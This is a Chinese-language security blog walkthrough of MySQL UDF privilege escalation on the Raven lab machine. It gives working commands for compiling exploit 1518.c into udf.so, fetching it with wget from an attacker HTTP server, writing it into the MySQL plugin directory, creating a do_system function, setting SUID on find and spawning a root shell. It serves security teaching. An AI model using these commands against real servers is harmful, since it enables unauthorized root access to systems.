MYSQL | UDF提权解析

admin 2023年12月15日19:03:08评论22 views字数 1911阅读6分22秒阅读模式

免责声明

 本公众号着重分享技术内容,所提供信息旨在促进技术交流。对于因信息使用而引起的任何损失,本公众号及作者概不负责。请谨慎行事,安全至上。

前言

    Mysql数据库系统作为信息存储和管理的重要工具,在现代应用中有着至关重要的角色。安全性已经成为了数据库管理的关键挑战之一!UDF的本质是为了方便用户开发和扩展数据库功能,然而,如果不加以适当的限制,UDF也是一种潜在的安全风险,本文围绕UDF提权介绍、提权的条件、实操案例几方面来讲解。

MYSQL | UDF提权解析

UDF提权简介

UDF(User Defined Function)是用户自定义函数的缩写,用于数据库中的数据处理和操作。在数据库中,UDF可以被用来执行特定的功能或算法,这些功能通常不是数据库系统自身提供的标准函数。通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。

关于UDF提权,需要满足的条件是

1.数据库管理员权限运行
#如果权限过低,无法执行系统命令,无法提权
2.数据库的版本信息不高于 5.5.6

MYSQL | UDF提权解析

查看满足条件

1》show global variables like '%secure_file_priv%';show variables like '%secure%';#这里需要是空值或者是plugin所在的目录,不能是null值#secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权#secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权#secure_file_priv 的值没有具体值时,表示不对  mysqld 的导入|导出做限制,此时可提权2》show variables like '%plugin%';查看插件的位置,将动态连接文件导入到此目录

实操环境Linux:

实验环境:

RAVEN靶场:链接:https://pan.baidu.com/s/1iHKA6en8pgjjZfl53TZAqg
提取码:g6oz
攻击机kali 2023.3 192.168.126.142

1.查询udf可利用的c程序,将1518.c保存到当前目录

searchsploit -m 1518.c

MYSQL | UDF提权解析


2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。

MYSQL | UDF提权解析


3.进行编译

gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件

-o 执行命令后的文件名
-lc -l 库 -c 库名


python3 -m http.server

#用python开启http服务

MYSQL | UDF提权解析


4.将编译好的.so文件进行上传靶机,进行登录数据库

wget http://192.168.126.142:8000/udf.so

MYSQL | UDF提权解析


mysql -uroot -pR@v3nSecurity
show databases;
use mysql

MYSQL | UDF提权解析


5.查看udf提权的必要条件,看插件位置

show global variables like '%secure_file_priv%';
show variables like '%plugin%';


MYSQL | UDF提权解析


6.开始提权操作:

create table foo(line blob);
#创建一张临时表用来存放DLL/OS文件的16进制内容
insert into foo values(load_file('/tmp/udf.so'));
#插入udf.so文件(foo是占位符,没有任何意义)
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
#利用dumpfile函数把文件导出
create function do_system returns integer soname 'udf.so';
#创建自定义函数do_system,类型是integer,别名(soname)文件名字
select * from mysql.func;
#查询函数是否创建成功
select do_system('chmod u+s /usr/bin/find');
#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。
exit

MYSQL | UDF提权解析


7.执行命令,成功提权。

touch udf
find udf -exec "/bin/sh" ;

find udf -exec "id" ;

MYSQL | UDF提权解析


点击关注下方名片进入公众号


原文始发于微信公众号(大仙安全说):MYSQL | UDF提权解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日19:03:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MYSQL | UDF提权解析http://cn-sec.com/archives/2304319.html

发表评论

匿名网友 填写信息